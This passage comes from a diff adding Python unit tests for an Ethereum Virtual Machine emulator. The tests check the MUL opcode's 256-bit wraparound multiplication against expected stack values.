+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MUL_3(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639935L])
+
+    def test_MUL_4(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819984L])
+
+    def test_MUL_5(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [112173586448650064316584391727166410732855297644839296413224534507665844338673L])
+
+    def test_MUL_6(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639920L])
+
+    def test_MUL_7(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639904L])
+
+    def test_MUL_8(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639888L])
+
+    def test_MUL_9(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008681818263114439236814715352654599495331229921024L])
+
+    def test_MUL_10(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MUL_11(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MUL_12(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MUL_13(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MUL_14(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MUL_15(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MUL_16(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MUL_17(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MUL_18(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MUL_19(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639935L])
+
+    def test_MUL_20(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MUL_21(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_MUL_22(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819952L])
+
+    def test_MUL_23(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301263L])
+
+    def test_MUL_24(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_MUL_25(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_MUL_26(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48L])
+
+    def test_MUL_27(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718912L])
+
+    def test_MUL_28(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819984L])
+
+    def test_MUL_29(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MUL_30(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819952L])
+
+    def test_MUL_31(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [256L])
+
+    def test_MUL_32(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639696L])
+
+    def test_MUL_33(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639680L])
+
+    def test_MUL_34(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x02'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
